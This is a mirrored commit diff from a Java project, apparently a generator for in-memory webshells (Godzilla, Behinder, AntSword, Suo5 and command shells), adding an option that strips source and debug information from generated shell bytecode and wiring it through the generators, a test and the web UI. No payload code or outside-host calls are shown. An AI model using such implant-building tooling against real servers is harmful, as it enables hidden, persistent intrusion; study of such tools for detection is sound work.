mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-24 16:01:52 +08:00
feat: support bytecode shrink
1. remove source file symbol (#46) 2. remove debug info when enable shrink (#29)
This commit is contained in:
@@ -0,0 +1,26 @@
|
|||||||
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
|
import net.bytebuddy.jar.asm.ClassReader;
|
||||||
|
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||||
|
import net.bytebuddy.jar.asm.ClassWriter;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/25
|
||||||
|
*/
|
||||||
|
public class ClassBytesShrink {
|
||||||
|
|
||||||
|
public static byte[] shrink(byte[] bytes, boolean full) {
|
||||||
|
ClassReader cr = new ClassReader(bytes);
|
||||||
|
ClassWriter cw = new ClassWriter(0);
|
||||||
|
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
|
||||||
|
@Override
|
||||||
|
public void visitSource(String source, String debug) {
|
||||||
|
|
||||||
|
}
|
||||||
|
};
|
||||||
|
cr.accept(cv, full ? ClassReader.SKIP_DEBUG : 0);
|
||||||
|
return cw.toByteArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -62,7 +62,7 @@ public class MemShellGenerator {
|
|||||||
case Godzilla:
|
case Godzilla:
|
||||||
return new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
|
return new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
|
||||||
case Command:
|
case Command:
|
||||||
return CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
|
return new CommandGenerator(shellConfig, (CommandConfig) shellToolConfig).getBytes();
|
||||||
case Behinder:
|
case Behinder:
|
||||||
return new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
|
return new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
|
||||||
case Suo5:
|
case Suo5:
|
||||||
|
|||||||
@@ -57,6 +57,12 @@ public class ShellConfig {
|
|||||||
@Builder.Default
|
@Builder.Default
|
||||||
private boolean debug = false;
|
private boolean debug = false;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 是否启用缩小字节码
|
||||||
|
*/
|
||||||
|
@Builder.Default
|
||||||
|
private boolean shrink = false;
|
||||||
|
|
||||||
public boolean isDebugOff() {
|
public boolean isDebugOff() {
|
||||||
return !debug;
|
return !debug;
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-2
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
@@ -19,7 +20,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/02/18
|
* @since 2025/02/18
|
||||||
*/
|
*/
|
||||||
public class AntSwordGenerator {
|
public class AntSwordGenerator {
|
||||||
private final ShellConfig shellConfig;
|
private final ShellConfig shellConfig;
|
||||||
private final AntSwordConfig antSwordConfig;
|
private final AntSwordConfig antSwordConfig;
|
||||||
|
|
||||||
@@ -67,7 +68,7 @@ public class AntSwordGenerator {
|
|||||||
public byte[] getBytes() {
|
public byte[] getBytes() {
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
DynamicType.Builder<?> builder = getBuilder();
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||||
return make.getBytes();
|
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+2
-1
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
@@ -70,7 +71,7 @@ public class BehinderGenerator {
|
|||||||
public byte[] getBytes() {
|
public byte[] getBytes() {
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
DynamicType.Builder<?> builder = getBuilder();
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||||
return make.getBytes();
|
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+25
-12
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
@@ -20,40 +21,52 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
|||||||
* @since 2024/11/24
|
* @since 2024/11/24
|
||||||
*/
|
*/
|
||||||
public class CommandGenerator {
|
public class CommandGenerator {
|
||||||
|
private final ShellConfig shellConfig;
|
||||||
|
private final CommandConfig commandConfig;
|
||||||
|
|
||||||
public static byte[] generate(ShellConfig config, CommandConfig shellConfig) {
|
public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
|
||||||
if (shellConfig.getShellClass() == null) {
|
this.shellConfig = shellConfig;
|
||||||
throw new IllegalArgumentException("shellConfig.getClazz() == null");
|
this.commandConfig = commandConfig;
|
||||||
|
}
|
||||||
|
|
||||||
|
public DynamicType.Builder<?> getBuilder() {
|
||||||
|
if (commandConfig.getShellClass() == null) {
|
||||||
|
throw new IllegalArgumentException("commandConfig.getClazz() == null");
|
||||||
}
|
}
|
||||||
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||||
.redefine(shellConfig.getShellClass())
|
.redefine(commandConfig.getShellClass())
|
||||||
.name(shellConfig.getShellClassName())
|
.name(commandConfig.getShellClassName())
|
||||||
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()));
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||||
|
|
||||||
if (config.isJakarta()) {
|
if (shellConfig.isJakarta()) {
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (config.isDebugOff()) {
|
if (shellConfig.isDebugOff()) {
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|
||||||
String shellType = config.getShellType();
|
String shellType = shellConfig.getShellType();
|
||||||
if (!ShellType.WEBSOCKET.equals(shellType)) {
|
if (!ShellType.WEBSOCKET.equals(shellType)) {
|
||||||
if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
|
if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
|
||||||
builder = builder.visit(
|
builder = builder.visit(
|
||||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
|
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
|
||||||
put("paramName", shellConfig.getParamName());
|
put("paramName", commandConfig.getParamName());
|
||||||
}})
|
}})
|
||||||
);
|
);
|
||||||
} else {
|
} else {
|
||||||
builder = builder.field(named("paramName")).value(shellConfig.getParamName());
|
builder = builder.field(named("paramName")).value(commandConfig.getParamName());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
return builder;
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] getBytes() {
|
||||||
|
DynamicType.Builder<?> builder = getBuilder();
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||||
return make.getBytes();
|
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+2
-1
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
@@ -75,7 +76,7 @@ public class GodzillaGenerator {
|
|||||||
public byte[] getBytes() {
|
public byte[] getBytes() {
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
DynamicType.Builder<?> builder = getBuilder();
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||||
return make.getBytes();
|
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+9
-8
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
|
import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
@@ -22,11 +23,11 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
|||||||
* @since 2024/11/24
|
* @since 2024/11/24
|
||||||
*/
|
*/
|
||||||
public class InjectorGenerator {
|
public class InjectorGenerator {
|
||||||
private final ShellConfig config;
|
private final ShellConfig shellConfig;
|
||||||
private final InjectorConfig injectorConfig;
|
private final InjectorConfig injectorConfig;
|
||||||
|
|
||||||
public InjectorGenerator(ShellConfig config, InjectorConfig injectorConfig) {
|
public InjectorGenerator(ShellConfig shellConfig, InjectorConfig injectorConfig) {
|
||||||
this.config = config;
|
this.shellConfig = shellConfig;
|
||||||
this.injectorConfig = injectorConfig;
|
this.injectorConfig = injectorConfig;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -36,20 +37,20 @@ public class InjectorGenerator {
|
|||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||||
.redefine(injectorConfig.getInjectorClass())
|
.redefine(injectorConfig.getInjectorClass())
|
||||||
.name(injectorConfig.getInjectorClassName())
|
.name(injectorConfig.getInjectorClassName())
|
||||||
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
||||||
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
|
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
|
||||||
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
||||||
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
||||||
|
|
||||||
if (config.needByPassJavaModule()) {
|
if (shellConfig.needByPassJavaModule()) {
|
||||||
builder = ByPassJavaModuleInterceptor.extend(builder);
|
builder = ByPassJavaModuleInterceptor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (config.isJakarta()) {
|
if (shellConfig.isJakarta()) {
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (config.isDebugOff()) {
|
if (shellConfig.isDebugOff()) {
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
}
|
}
|
||||||
return builder;
|
return builder;
|
||||||
@@ -59,7 +60,7 @@ public class InjectorGenerator {
|
|||||||
public byte[] generate() {
|
public byte[] generate() {
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
DynamicType.Builder<?> builder = getBuilder();
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||||
return make.getBytes();
|
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
@@ -59,7 +60,7 @@ public class Suo5Generator {
|
|||||||
public byte[] getBytes() {
|
public byte[] getBytes() {
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
DynamicType.Builder<?> builder = getBuilder();
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||||
return make.getBytes();
|
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -42,7 +42,7 @@ class CommandFilterTest {
|
|||||||
.paramName("cmd")
|
.paramName("cmd")
|
||||||
.build();
|
.build();
|
||||||
generateConfig.setShellType(shellType);
|
generateConfig.setShellType(shellType);
|
||||||
byte[] bytes = CommandGenerator.generate(generateConfig, shellConfig);
|
byte[] bytes = new CommandGenerator(generateConfig, shellConfig).getBytes();
|
||||||
Object obj = ClassUtils.newInstance(bytes);
|
Object obj = ClassUtils.newInstance(bytes);
|
||||||
assertEquals(shellConfig.getShellClassName(), obj.getClass().getName());
|
assertEquals(shellConfig.getShellClassName(), obj.getClass().getName());
|
||||||
assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
|
assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
|
||||||
|
|||||||
@@ -260,6 +260,18 @@ export function MainConfigCard({
|
|||||||
</FormItem>
|
</FormItem>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="shrink"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="flex items-center space-x-2 space-y-0">
|
||||||
|
<FormControl>
|
||||||
|
<Switch id="shrink" checked={field.value} onCheckedChange={field.onChange} />
|
||||||
|
</FormControl>
|
||||||
|
<Label htmlFor="shrink">{t("mainConfig.shrink")}</Label>
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
</div>
|
</div>
|
||||||
</CardContent>
|
</CardContent>
|
||||||
</Card>
|
</Card>
|
||||||
|
|||||||
@@ -36,6 +36,7 @@
|
|||||||
"shellClassName": "Shell ClassName",
|
"shellClassName": "Shell ClassName",
|
||||||
"shellMountType": "Shell Mount Type",
|
"shellMountType": "Shell Mount Type",
|
||||||
"shellTool": "Shell Tool",
|
"shellTool": "Shell Tool",
|
||||||
|
"shrink": "Shrink Bytecode",
|
||||||
"urlPattern": "URL Pattern"
|
"urlPattern": "URL Pattern"
|
||||||
},
|
},
|
||||||
"optional": "(Optional)",
|
"optional": "(Optional)",
|
||||||
|
|||||||
@@ -36,6 +36,7 @@
|
|||||||
"shellClassName": "内存马类名",
|
"shellClassName": "内存马类名",
|
||||||
"shellMountType": "内存马挂载类型",
|
"shellMountType": "内存马挂载类型",
|
||||||
"shellTool": "内存马功能",
|
"shellTool": "内存马功能",
|
||||||
|
"shrink": "缩小字节码",
|
||||||
"urlPattern": "请求路径"
|
"urlPattern": "请求路径"
|
||||||
},
|
},
|
||||||
"optional": "(可选)",
|
"optional": "(可选)",
|
||||||
|
|||||||
@@ -18,6 +18,7 @@ export const formSchema = z.object({
|
|||||||
headerValue: z.optional(z.string()),
|
headerValue: z.optional(z.string()),
|
||||||
injectorClassName: z.optional(z.string()),
|
injectorClassName: z.optional(z.string()),
|
||||||
packingMethod: z.string().min(1),
|
packingMethod: z.string().min(1),
|
||||||
|
shrink: z.optional(z.boolean()),
|
||||||
});
|
});
|
||||||
|
|
||||||
export type FormSchema = z.infer<typeof formSchema>;
|
export type FormSchema = z.infer<typeof formSchema>;
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ export interface ShellConfig {
|
|||||||
debug?: boolean;
|
debug?: boolean;
|
||||||
byPassJavaModule?: boolean;
|
byPassJavaModule?: boolean;
|
||||||
obfuscate?: boolean;
|
obfuscate?: boolean;
|
||||||
|
shrink?: boolean;
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface ShellToolConfig {
|
export interface ShellToolConfig {
|
||||||
|
|||||||
@@ -9,6 +9,7 @@ export function transformToPostData(formValue: FormSchema) {
|
|||||||
debug: formValue.debug,
|
debug: formValue.debug,
|
||||||
targetJreVersion: formValue.targetJdkVersion,
|
targetJreVersion: formValue.targetJdkVersion,
|
||||||
byPassJavaModule: formValue.bypassJavaModule,
|
byPassJavaModule: formValue.bypassJavaModule,
|
||||||
|
shrink: formValue.shrink,
|
||||||
};
|
};
|
||||||
const shellToolConfig: ShellToolConfig = {
|
const shellToolConfig: ShellToolConfig = {
|
||||||
shellClassName: formValue.shellClassName,
|
shellClassName: formValue.shellClassName,
|
||||||
|
|||||||
Reference in New Issue
Block a user